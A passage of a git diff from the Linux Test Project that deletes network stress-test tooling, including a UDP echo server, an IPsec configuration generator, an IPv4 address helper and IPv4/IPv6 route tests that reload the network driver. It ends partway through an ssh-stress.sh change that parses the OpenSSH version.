-/******************************************************************************/ - -/* - * File: - * ns-udpserver.c - * - * Description: - * This is UDP traffic server. - * Received UDP datagram from a client, then send it to the client - * - * Author: - * Mitsuru Chinen <mitch@jp.ibm.com> - * - * History: - * Oct 19 2005 - Created (Mitsuru Chinen) - *---------------------------------------------------------------------------*/ - -#include "ns-traffic.h" - -/* - * Standard Include Files - */ -#include <stdio.h> -#include <stdlib.h> -#include <string.h> -#include <errno.h> -#include <fcntl.h> -#include <netdb.h> -#include <time.h> -#include <unistd.h> -#include <sys/select.h> -#include <sys/socket.h> -#include <sys/stat.h> -#include <sys/types.h> -#include <sys/wait.h> -#include <netinet/in.h> - -/* - * Gloval variables - */ -struct sigaction handler; /* Behavior for a signal */ -int catch_sighup; /* When catch the SIGHUP, set to non-zero */ - -/* - * Function: usage() - * - * Descripton: - * Print the usage of this program. Then, terminate this program with - * the specified exit value. - * - * Argument: - * exit_value: exit value - * - * Return value: - * This function does not return. - */ -void usage(char *program_name, int exit_value) -{ - FILE *stream = stdout; /* stream where the usage is output */ - - if (exit_value == EXIT_FAILURE) - stream = stderr; - - fprintf(stream, "%s [OPTION]\n" - "\t-f\tprotocol family\n" - "\t\t 4 : IPv4\n" - "\t\t 6 : IPv6\n" - "\t-p\tport number\n" - "\t\tthe port number specified by -p option would be the first port number\n" - "\t-b\twork in the background\n" - "\t-o\tfilename where the server infomation is outputted\n" - "\t-d\twork in the debug mode\n" - "\t-h\tdisplay this usage\n" - "" "*) Server works till it receives SIGHUP\n", program_name); - exit(exit_value); -} - -/* - * Function: set_signal_flag() - * - * Description: - * This function sets global variable according to the signal. - * Once a signal is caught, the signal is ignored after that. - * - * Argument: - * type: type of signal - * - * Return value: - * None - */ -void set_signal_flag(int type) -{ - /* Set SIG_IGN against the caught signal */ - handler.sa_handler = SIG_IGN; - if (sigaction(type, &handler, NULL) < 0) - fatal_error("sigaction()"); - - if (debug) - fprintf(stderr, "Catch signal. type is %d\n", type); - - switch (type) { - case SIGHUP: - catch_sighup = 1; - break; - default: - fprintf(stderr, "Unexpected signal (%d) is caught\n", type); - exit(EXIT_FAILURE); - } -} - -/* - * Function: respond_to_client() - * - * Description: - * Recieve the client data. Then, return the data to client. - * - * Argument: - * sock_fd: socket file descriptor - * - * Return value: - * None - */ -void respond_to_client(int sock_fd) -{ - char *msgbuf; /* Pointer to the message */ - size_t msgbuf_size; /* size of msgbuf */ - ssize_t msglen; /* the length of message */ - socklen_t sock_optlen; /* size of the result parameter */ - struct sockaddr_storage client_addr; /* address of a client */ - socklen_t client_addr_len; /* length of `client_addr' */ - - sock_optlen = sizeof(sock_optlen); - if (getsockopt(sock_fd, SOL_SOCKET, SO_RCVBUF, - &msgbuf_size, &sock_optlen) < 0) { - perror("getsockopt()"); - close(sock_fd); - exit(EXIT_FAILURE); - } - - /* Allocate the memory for a message */ - msgbuf = malloc(msgbuf_size + 1); - if (msgbuf == NULL) { - fprintf(stderr, "malloc() is failed.\n"); - close(sock_fd); - exit(EXIT_FAILURE); - } - - /* Receive a message */ - client_addr_len = sizeof(client_addr); - if ((msglen = recvfrom(sock_fd, msgbuf, msgbuf_size, 0, - (struct sockaddr *)&client_addr, - &client_addr_len)) < 0) - fatal_error("recvfrom()"); - msgbuf[msglen] = '\0'; - - if (debug) - fprintf(stderr, "Message is %s\n", msgbuf); - - /* Return the message to the client */ - if (sendto(sock_fd, msgbuf, msglen, 0, - (struct sockaddr *)&client_addr, - sizeof(client_addr)) != msglen) - fatal_error("sendto()"); - free(msgbuf); -} - -/* - * - * Function: main() - * - */ -int main(int argc, char *argv[]) -{ - char *program_name = argv[0]; - int optc; /* option */ - sa_family_t family; /* protocol family */ - char *portnum = NULL; /* port number */ - int sock_fd; /* socket binded open ports */ - int background = 0; /* work in the background if non-zero */ - fd_set read_fds; /* list of file descriptor for reading */ - int max_read_fd = 0; /* maximum number in the read fds */ - FILE *info_fp = stdout; /* FILE pointer to a information file */ - int on; /* on/off at an socket option */ - int err; /* return value of getaddrinfo */ - struct addrinfo hints; /* hints for getaddrinfo() */ - struct addrinfo *res; /* pointer to addrinfo */ - - debug = 0; - family = PF_UNSPEC; - - /* Retrieve the options */ - while ((optc = getopt(argc, argv, "f:p:bo:dh")) != EOF) { - switch (optc) { - case 'f': - if (strncmp(optarg, "4", 1) == 0) - family = PF_INET; /* IPv4 */ - else if (strncmp(optarg, "6", 1) == 0) - family = PF_INET6; /* IPv6 */ - else { - fprintf(stderr, - "protocol family should be 4 or 6.\n"); - usage(program_name, EXIT_FAILURE); - } - break; - - case 'p': - { - unsigned long int num; - num = strtoul(optarg, NULL, 0); - if (num < PORTNUMMIN || PORTNUMMAX < num) { - fprintf(stderr, - "The range of port is from %u to %u\n", - PORTNUMMIN, PORTNUMMAX); - usage(program_name, EXIT_FAILURE); - } - portnum = strdup(optarg); - } - break; - - case 'b': - background = 1; - break; - - case 'o': - if ((info_fp = fopen(optarg, "w")) == NULL) { - fprintf(stderr, "Cannot open %s\n", optarg); - exit(EXIT_FAILURE); - } - break; - - case 'd': - debug = 1; - break; - - case 'h': - usage(program_name, EXIT_SUCCESS); - break; - - default: - usage(program_name, EXIT_FAILURE); - } - } - - /* Check the family is spefied. */ - if (family == PF_UNSPEC) { - fprintf(stderr, "protocol family should be specified.\n"); - usage(program_name, EXIT_FAILURE); - } - - /* At first, SIGHUP is ignored. */ - handler.sa_handler = SIG_IGN; - if (sigfillset(&handler.sa_mask) < 0) - fatal_error("sigfillset()"); - handler.sa_flags = 0; - - if (sigaction(SIGHUP, &handler, NULL) < 0) - fatal_error("sigaction()"); - - /* Set the hints to addrinfo() */ - memset(&hints, '\0', sizeof(struct addrinfo)); - hints.ai_family = family; - hints.ai_socktype = SOCK_DGRAM; - hints.ai_protocol = IPPROTO_UDP; - hints.ai_flags = AI_PASSIVE; - - /* Translate the network and service information of the server */ - err = getaddrinfo(NULL, portnum, &hints, &res); - if (err) { - fprintf(stderr, "getaddrinfo(): %s\n", gai_strerror(err)); - exit(EXIT_FAILURE); - } - if (res->ai_next) { - fprintf(stderr, "getaddrinfo(): multiple address is found."); - exit(EXIT_FAILURE); - } - - /* Create a socket for listening. */ - sock_fd = socket(res->ai_family, res->ai_socktype, res->ai_protocol); - if (sock_fd < 0) - fatal_error("socket()"); - -#ifdef IPV6_V6ONLY - /* Don't accept IPv4 mapped address if the protocol family is IPv6 */ - if (res->ai_family == PF_INET6) { - on = 1; - if (setsockopt - (sock_fd, IPPROTO_IPV6, IPV6_V6ONLY, &on, sizeof(int))) - fatal_error("setsockopt()"); - } -#endif - - /* Enable to reuse the socket */ - on = 1; - if (setsockopt(sock_fd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(int))) - fatal_error("setsockopt()"); - - /* Bind to the local address */ - if (bind(sock_fd, res->ai_addr, res->ai_addrlen) < 0) - fatal_error("bind()"); - - freeaddrinfo(res); - - /* If -b option is specified, work as a daemon */ - if (background) - if (daemon(0, 0) < 0) - fatal_error("daemon()"); - - /* Output any server information to the information file */ - fprintf(info_fp, "PID: %u\n", getpid()); - fflush(info_fp); - if (info_fp != stdout) - if (fclose(info_fp)) - fatal_error("fclose()"); - - /* Catch SIGHUP */ - handler.sa_handler = set_signal_flag; - if (sigaction(SIGHUP, &handler, NULL) < 0) - fatal_error("sigaction()"); - - /* Loop to wait a client access */ - FD_ZERO(&read_fds); - FD_SET(sock_fd, &read_fds); - max_read_fd = sock_fd; - for (;;) { - int select_ret; /* return value of select() */ - fd_set active_fds; /* list of the active file descriptor */ - struct timeval select_timeout; /* timeout for select() */ - - /* When catch SIGHUP, exit the loop */ - if (catch_sighup) - break; - - active_fds = read_fds; - select_timeout.tv_sec = 0; /* 0.5 sec */ - select_timeout.tv_usec = 500000; - - select_ret = select(max_read_fd + 1, &active_fds, - NULL, NULL, &select_timeout); - if (select_ret < 0) { - if (catch_sighup) - break; - else - fatal_error("select()"); - } else if (select_ret == 0) { - continue; - } else { - if (FD_ISSET(sock_fd, &active_fds)) - respond_to_client(sock_fd); - } - } - - /* Close the sockets */ - if (close(sock_fd)) - fatal_error("close()"); - - exit(EXIT_SUCCESS); -} diff --git a/ltp/testcases/network/stress/ns-tools/output_ipsec_conf b/ltp/testcases/network/stress/ns-tools/output_ipsec_conf deleted file mode 100644 index 0dbf78df..00000000 --- a/ltp/testcases/network/stress/ns-tools/output_ipsec_conf +++ /dev/null @@ -1,172 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# output_ipsec_conf -# -# Description: -# Output IPsec configuration -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# Exit Value: -# 0: Exit normally -# >0: Exit abnormally -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -#Uncomment line below for debug output. -$trace_logic - -# Encryption algorithm -EALGO="3des-cbc" -EALGO_KEY="_I_want_to_have_chicken_" - -# Authentication algorithm -AALGO="hmac-sha1" -AALGO_KEY="beef_fish_pork_salad" - -# Compression algorithm -CALGO="deflate" - - -#----------------------------------------------------------------------- -# -# Function: usage -# -# Description: -# Print the usage of this script, then exit -# -#----------------------------------------------------------------------- -usage(){ - cat << EOD >&2 -output_ipsec_conf flush - Flush the SAD and SPD entries. - -output_ipsec_conf target protocol mode first_spi src_addr dst_addr - target: target of the configuration file ( src / dst ) - protocol: ah / esp / ipcomp - mode: transport / tunnel - first_spi: the first spi value - src_addr: source IP address - dst_addr: destination IP address -EOD - - exit 1 -} - - - -#----------------------------------------------------------------------- -# -# Main -# -# - -# When argument is `flush', flush the SAD and SPD -if [ x$1 = x"flush" ]; then - echo "spdflush ;" - echo "flush ;" - exit 0 -fi - -# source/destination IP addresses -if [ $# -ne 6 ]; then - usage -fi -target=$1 -protocol=$2 -mode=$3 -first_spi=$4 -src_ipaddr=$5 -dst_ipaddr=$6 - -# Algorithm options for each protocol -case $protocol in - ah) - algo_line="-A $AALGO \"$AALGO_KEY\"" - ;; - esp) - algo_line="-E $EALGO \"$EALGO_KEY\" -A $AALGO \"$AALGO_KEY\"" - ;; - ipcomp) - algo_line="-C $CALGO" - ;; - *) - usage - ;; -esac - -# Write lines for adding an SAD entry -cat << EOD -add $src_ipaddr $dst_ipaddr $protocol $first_spi - -m $mode - $algo_line ; - -add $dst_ipaddr $src_ipaddr $protocol `expr $first_spi + 1` - -m $mode - $algo_line ; - -EOD - -# Write lines for adding an SPD entry -case $target in - src) - direct1=out - direct2=in - ;; - dst) - direct1=in - direct2=out - ;; - *) - usage - ;; -esac - -case $mode in - transport) - cat << EOD -spdadd $src_ipaddr $dst_ipaddr any - -P $direct1 ipsec $protocol/transport//use ; - -spdadd $dst_ipaddr $src_ipaddr any - -P $direct2 ipsec $protocol/transport//use ; -EOD - ;; - - tunnel) - cat << EOD -spdadd $src_ipaddr $dst_ipaddr any - -P $direct1 ipsec $protocol/tunnel/${src_ipaddr}-${dst_ipaddr}/use ; - -spdadd $dst_ipaddr $src_ipaddr any - -P $direct2 ipsec $protocol/tunnel/${dst_ipaddr}-${src_ipaddr}/use ; -EOD - ;; -esac - -exit 0 diff --git a/ltp/testcases/network/stress/ns-tools/set_ipv4addr b/ltp/testcases/network/stress/ns-tools/set_ipv4addr deleted file mode 100644 index 1ec07695..00000000 --- a/ltp/testcases/network/stress/ns-tools/set_ipv4addr +++ /dev/null @@ -1,95 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# set_ipv4addr -# -# Description: -# Set an IPv4 address to the interface which belongs to the specified -# test link -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# Arguments: -# $1: target host to set the IPv6 address -# lhost - local host / rhost - remote host -# $2: number of the test link -# $3: network portion of the IPv4 address -# $4: host portion of the IPv4 address -# -# Exit Value: -# 0: Exit normally -# >0: Exit abnormally -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -#Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# Make sure the value of LTPROOT -LTPROOT=${LTPROOT:-`(cd ../../../../ ; pwd)`} -export LTPROOT - -# Check the environmanet variable for the test -. check_envval || exit 1 - -# Arguments -if [ $# -ne 4 ]; then - echo "Usage: $0 host_type link_num network_portion host_portion" >&2 - exit 1 -fi -host_type=$1 -link_num=$2 -network_part=$3 -host_part=$4 - -# Check the host type -if [ $host_type != lhost -a $host_type != rhost ]; then - echo "$0: 1st argumet is lhost or rhost" >&2 - exit 1 -fi - -# Define IPv4 address, netmask and broadcast -addr=${network_part}.${host_part} -netmask=`echo $network_part | sed "s/[[:digit:]]*/255/g"`.`echo $host_part | sed "s/[[:digit:]]*/0/g"` -broadcast=${network_part}.`echo $host_part | sed "s/[[:digit:]]*/255/g"` - -# Assign IPv4 address to the interface belongs the link_num Test Link -ifname=`get_ifname $host_type $link_num` || exit 1 - -if [ $host_type = lhost ]; then - ifconfig $ifname up - ifconfig $ifname $addr netmask $netmask broadcast $broadcast - ret=$? -else - ret=`$LTP_RSH $RHOST '( PATH=/sbin:/usr/sbin:$PATH ; ifconfig '$ifname' up && ifconfig '$ifname $addr' netmask '$netmask' broadcast '$broadcast' ) >/dev/null 2>&1; echo $?'` -fi - -if [ $ret -gt 0 ]; then - echo "Cannot set $addr to $ifname" >&2 - exit 1 -fi diff --git a/ltp/testcases/network/stress/route/00_Descriptions.txt b/ltp/testcases/network/stress/route/00_Descriptions.txt index d148d51d..48f4464c 100644 --- a/ltp/testcases/network/stress/route/00_Descriptions.txt +++ b/ltp/testcases/network/stress/route/00_Descriptions.txt @@ -18,9 +18,3 @@ route{4,6}-change-netlink-if route{4,6}-redirect01 Change IPv4/IPv6 route by ICMP Redirects frequently - -route{4,6}-rmmod01 - Add IPv4/IPv6 route by route command then delete it by the removing network driver - -route{4,6}-rmmod02 - Add IPv4/IPv6 route by ip command then delete it by the removing network driver diff --git a/ltp/testcases/network/stress/route/route4-rmmod b/ltp/testcases/network/stress/route/route4-rmmod deleted file mode 100644 index 7aa19581..00000000 --- a/ltp/testcases/network/stress/route/route4-rmmod +++ /dev/null @@ -1,283 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2006 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# route4-rmmod -# -# Description: -# Verify the kernel is not crashed when IPv4 route is add then it is deleted -# by the removing network driver -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Apr 8 2006 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# Make sure the value of LTPROOT -LTPROOT=${LTPROOT:-`(cd ../../../../ ; pwd)`} -export LTPROOT - -# Total number of the test case -TST_TOTAL=2 -export TST_TOTAL - -# Default of the test case ID and the test case count -TCID=route4-rmmod -TST_COUNT=0 -export TCID -export TST_COUNT - -# Check the environmanet variable -. check_envval || exit $TST_TOTAL - -# The number of times where IPv4 route is add/delete -NS_TIMES=${NS_TIMES:-10000} - -# The number of the test link where tests run -LINK_NUM=${LINK_NUM:-0} - -# Network portion of the IPv4 address -IPV4_NETWORK=${IPV4_NETWORK:-"10.0.0"} - -# Netmask of for the tested network -IPV4_NETMASK="255.255.255.0" -IPV4_NETMASK_NUM=24 - -# Broadcast address of the tested network -IPV4_BROADCAST=${IPV4_NETWORK}.255 - -# Host portion of the IPv4 address -LHOST_IPV4_HOST=${LHOST_IPV4_HOST:-"2"} # src -RHOST_IPV4_HOST=${RHOST_IPV4_HOST:-"1"} # gateway - -# The destination network -DST_NETWORK="10.10.10" # destination network would be 10.10.10.0/24 -DST_HOST="5" -DST_PORT="7" - - -#----------------------------------------------------------------------- -# -# NAME: -# do_cleanup -# -# DESCRIPTION: -# Recover the tested interfaces -# -#----------------------------------------------------------------------- -do_cleanup() -{ - # Make sure to load the network driver - if [ x${lhost_module} != x ]; then - modprobe $lhost_module - fi - - # Initialize the interfaces - initialize_if lhost ${LINK_NUM} - initialize_if rhost ${LINK_NUM} -} - - -#----------------------------------------------------------------------- -# -# NAME: -# do_setup -# -# DESCRIPTION: -# Make a IPv4 connectivity -# -#----------------------------------------------------------------------- -do_setup() -{ - # Check the local host has ethtool utility - which ethtool >/dev/null - if [ $? -ne 0 ]; then - tst_resm TBROK "This test case requires ethtool utility" - exit $TST_TOTAL - fi - - # The module name of the interface at the local host - lhost_module= - - # Make sure to clean up - do_cleanup - - # Set IPv4 address to the interfaces of the remote host - set_ipv4addr rhost ${LINK_NUM} ${IPV4_NETWORK} ${RHOST_IPV4_HOST} - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to add an IPv4 address the remote host" - exit $TST_TOTAL - fi - rhost_ipv4addr="${IPV4_NETWORK}.${RHOST_IPV4_HOST}" - - # Assign IPv4 address to the interface of the local host - set_ipv4addr lhost ${LINK_NUM} ${IPV4_NETWORK} ${LHOST_IPV4_HOST} - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to assign an IPv4 address at the local host" - return 1 - fi - lhost_ipv4addr="${IPV4_NETWORK}.${LHOST_IPV4_HOST}" - - # Get the Interface names - lhost_ifname=`get_ifname lhost ${LINK_NUM}` - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to get the interface name at the local host" - exit $TST_TOTAL - fi - - rhost_ifname=`get_ifname rhost ${LINK_NUM}` - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to get the interface name at the remote host" - exit $TST_TOTAL - fi - - # Get the module name of the interface at the local host - lhost_module=`ethtool -i $lhost_ifname | grep driver | sed "s/driver:[[:blank:]]*//"` - - # Chack the other active interface uses the same driver - for ifname in `ifconfig | grep ^eth | awk '{ print $1}'`; do - if [ $lhost_ifname = $ifname ]; then - continue - fi - - module=`ethtool -i $ifname | grep driver | sed "s/driver:[[:blank:]]*//"` - if [ $lhost_module = $module ]; then - tst_resm TBROK "An active interface $ifname uses the same network deriver $module with the test intreface." - exit $TST_TOTAL - fi - done - - # Set the variables for destination network - dst_addr=${DST_NETWORK}.${DST_HOST} - dst_network=${DST_NETWORK}.0 -} - - -#----------------------------------------------------------------------- -# -# FUNCTION: -# test_body -# -# DESCRIPTION: -# main code of the test -# -# Arguments: -# $1: define the test type -# 1 - route command case -# 2 - ip command case -# -#----------------------------------------------------------------------- -test_body() -{ - test_type=$1 - - TCID=route4-rmmod0${test_type} - TST_COUNT=$test_type - - case $test_type in - 1) - tst_resm TINFO "Verify the kernel is not crashed when IPv4 route is add by route command then it is deleted by removing network driver in $NS_TIMES times" - ;; - 2) - tst_resm TINFO "Verify the kernel is not crashed when IPv4 route is add by ip command then it is deleted by removing network driver in $NS_TIMES times" - ;; - *) - tst_resm TBROK "unspecified case" - return 1 - ;; - esac - - # Start the loop - cnt=0 - while [ $cnt -lt $NS_TIMES ]; do - # Check the connectivity to the gateway - check_icmpv4_connectivity $lhost_ifname $rhost_ipv4addr - if [ $? -ne 0 ]; then - tst_resm TBROK "Test Link $LINK_NUM is somthing wrong." - return 1 - fi - - # Add the route - case $test_type in - 1) - route add -net $dst_network netmask 255.255.255.0 gw $rhost_ipv4addr dev $lhost_ifname - ;; - 2) - ip route add ${dst_network}/24 via $rhost_ipv4addr dev $lhost_ifname - ;; - esac - if [ $? -ne 0 ]; then - tst_resm TFAIL "Failed to add the route to ${dst_network}/24" - return 1 - fi - - # Load the route with UDP datagram - ns-udpsender -f 4 -D $dst_addr -p $DST_PORT -o -s 1472 - if [ $? -ne 0 ]; then - tst_resm TFAIL "Failed to run a UDP datagram sender" - return 1 - fi - - # Remove and reload the network driver - rmmod $lhost_module && modprobe $lhost_module - if [ $? -ne 0 ]; then - tst_resm TFAIL "Failed to unload/reload the network driver" - return 1 - fi - - # Make sure to assing the IPv4 address - set_ipv4addr lhost ${LINK_NUM} ${IPV4_NETWORK} ${LHOST_IPV4_HOST} >/dev/null 2>&1 - - cnt=`expr $cnt + 1` - done - - tst_resm TPASS "Test is finished correctly." - return 0 -} - - -#----------------------------------------------------------------------- -# -# Main -# -# Exit Value: -# The number of the failure -# -#----------------------------------------------------------------------- - -RC=0 -do_setup -test_body 1 || RC=`expr $RC + 1` # Case of route command -test_body 2 || RC=`expr $RC + 1` # Case of ip command -do_cleanup - -exit $RC diff --git a/ltp/testcases/network/stress/route/route6-rmmod b/ltp/testcases/network/stress/route/route6-rmmod deleted file mode 100644 index 765a57ae..00000000 --- a/ltp/testcases/network/stress/route/route6-rmmod +++ /dev/null @@ -1,279 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2006 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# route6-rmmod -# -# Description: -# Verify the kernel is not crashed when IPv6 route is add then it is deleted -# by the removing network driver -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Apr 8 2006 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# Make sure the value of LTPROOT -LTPROOT=${LTPROOT:-`(cd ../../../../ ; pwd)`} -export LTPROOT - -# Total number of the test case -TST_TOTAL=2 -export TST_TOTAL - -# Default of the test case ID and the test case count -TCID=route6-rmmod -TST_COUNT=0 -export TCID -export TST_COUNT - -# Check the environmanet variable -. check_envval || exit $TST_TOTAL - -# The number of times where IPv6 route is add/delete -NS_TIMES=${NS_TIMES:-10000} - -# The number of the test link where tests run -LINK_NUM=${LINK_NUM:-0} - -# Network portion of the IPv6 address -IPV6_NETWORK="fec0:1:1:1" - -# Netmask of for the tested network -IPV6_NETMASK_NUM=64 - -# Host portion of the IPv6 address -LHOST_IPV6_HOST=":2" # src -RHOST_IPV6_HOST=":1" # gateway - -# The destination network -DST_NETWORK="fec0:100:100:100" # destination network -DST_HOST=":5" -DST_PORT="7" - - -#----------------------------------------------------------------------- -# -# NAME: -# do_cleanup -# -# DESCRIPTION: -# Recover the tested interfaces -# -#----------------------------------------------------------------------- -do_cleanup() -{ - # Make sure to load the network driver - if [ x${lhost_module} != x ]; then - modprobe $lhost_module - fi - - # Initialize the interfaces - initialize_if lhost ${LINK_NUM} - initialize_if rhost ${LINK_NUM} -} - - -#----------------------------------------------------------------------- -# -# NAME: -# do_setup -# -# DESCRIPTION: -# Make a IPv6 connectivity -# -#----------------------------------------------------------------------- -do_setup() -{ - # Check the local host has ethtool utility - which ethtool >/dev/null - if [ $? -ne 0 ]; then - tst_resm TBROK "This test case requires ethtool utility" - exit $TST_TOTAL - fi - - # The module name of the interface at the local host - lhost_module= - - # Make sure to clean up - do_cleanup - - # Assign IPv6 address to the interface of the local host - add_ipv6addr lhost ${LINK_NUM} ${IPV6_NETWORK} ${LHOST_IPV6_HOST} - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to assign an IPv6 address at the local host" - return 1 - fi - lhost_ipv6addr="${IPV6_NETWORK}:${LHOST_IPV6_HOST}" - - # Set IPv6 address to the interfaces of the remote host - add_ipv6addr rhost ${LINK_NUM} ${IPV6_NETWORK} ${RHOST_IPV6_HOST} - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to add an IPv6 address the remote host" - exit $TST_TOTAL - fi - rhost_ipv6addr="${IPV6_NETWORK}:${RHOST_IPV6_HOST}" - - # Get the Interface names - lhost_ifname=`get_ifname lhost ${LINK_NUM}` - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to get the interface name at the local host" - exit $TST_TOTAL - fi - - rhost_ifname=`get_ifname rhost ${LINK_NUM}` - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to get the interface name at the remote host" - exit $TST_TOTAL - fi - - # Get the module name of the interface at the local host - lhost_module=`ethtool -i $lhost_ifname | grep driver | sed "s/driver:[[:blank:]]*//"` - - # Chack the other active interface uses the same driver - for ifname in `ifconfig | grep ^eth | awk '{ print $1}'`; do - if [ $lhost_ifname = $ifname ]; then - continue - fi - - module=`ethtool -i $ifname | grep driver | sed "s/driver:[[:blank:]]*//"` - if [ $lhost_module = $module ]; then - tst_resm TBROK "An active interface $ifname uses the same network deriver $module with the test intreface." - exit $TST_TOTAL - fi - done - - # Set the variables for destination network - dst_addr=${DST_NETWORK}:${DST_HOST} - dst_network=${DST_NETWORK}:: -} - - -#----------------------------------------------------------------------- -# -# FUNCTION: -# test_body -# -# DESCRIPTION: -# main code of the test -# -# Arguments: -# $1: define the test type -# 1 - route command case -# 2 - ip command case -# -#----------------------------------------------------------------------- -test_body() -{ - test_type=$1 - - TCID=route6-rmmod0${test_type} - TST_COUNT=$test_type - - case $test_type in - 1) - tst_resm TINFO "Verify the kernel is not crashed when IPv6 route is add by route command then it is deleted by removing network driver in $NS_TIMES times" - ;; - 2) - tst_resm TINFO "Verify the kernel is not crashed when IPv6 route is add by ip command then it is deleted by removing network driver in $NS_TIMES times" - ;; - *) - tst_resm TBROK "unspecified case" - return 1 - ;; - esac - - # Start the loop - cnt=0 - while [ $cnt -lt $NS_TIMES ]; do - # Check the connectivity to the gateway - check_icmpv6_connectivity $lhost_ifname $rhost_ipv6addr - if [ $? -ne 0 ]; then - tst_resm TBROK "Test Link $LINK_NUM is somthing wrong." - return 1 - fi - - # Add the route - case $test_type in - 1) - route -A inet6 add ${dst_network}/64 gw $rhost_ipv6addr dev $lhost_ifname - ;; - 2) - ip -f inet6 route add ${dst_network}/64 via $rhost_ipv6addr dev $lhost_ifname - ;; - esac - if [ $? -ne 0 ]; then - tst_resm TFAIL "Failed to add the route to ${dst_network}/64" - return 1 - fi - - # Load the route with UDP datagram - ns-udpsender -f 6 -D $dst_addr -p $DST_PORT -o -s 1452 - if [ $? -ne 0 ]; then - tst_resm TFAIL "Failed to run a UDP datagram sender" - return 1 - fi - - # Remove and reload the network driver - rmmod $lhost_module && modprobe $lhost_module - if [ $? -ne 0 ]; then - tst_resm TFAIL "Failed to unload/reload the network driver" - return 1 - fi - - # Make sure to assing the IPv6 address - add_ipv6addr lhost ${LINK_NUM} ${IPV6_NETWORK} ${LHOST_IPV6_HOST} >/dev/null 2>&1 - - cnt=`expr $cnt + 1` - done - - tst_resm TPASS "Test is finished correctly." - return 0 -} - - -#----------------------------------------------------------------------- -# -# Main -# -# Exit Value: -# The number of the failure -# -#----------------------------------------------------------------------- - -RC=0 -do_setup -test_body 1 || RC=`expr $RC + 1` # Case of route command -test_body 2 || RC=`expr $RC + 1` # Case of ip command -do_cleanup - -exit $RC diff --git a/ltp/testcases/network/stress/ssh/ssh-stress.sh b/ltp/testcases/network/stress/ssh/ssh-stress.sh index c27c27a2..14a4af82 100755 --- a/ltp/testcases/network/stress/ssh/ssh-stress.sh +++ b/ltp/testcases/network/stress/ssh/ssh-stress.sh @@ -39,8 +39,13 @@ cleanup() setup() { - local port rc + local port rc version + local major=0 minor=0 + version=$(sshd -V 2>&1 | sed -nE 's/^.*OpenSSH_([0-9]+)\.([0-9]+).*$/\1 \2/p' | head -n1) + set -- $version + major=$1 + minor=$2 port=$(tst_rhost_run -c "tst_get_unused_port ipv${TST_IPVER} stream") @@ -60,6 +65,11 @@ HostKey $TST_TMPDIR/ssh_host_ecdsa_key HostKey $TST_TMPDIR/ssh_host_ed25519_key EOF + if [ "$major" -gt 9 ] || [ "$major" -eq 9 -a 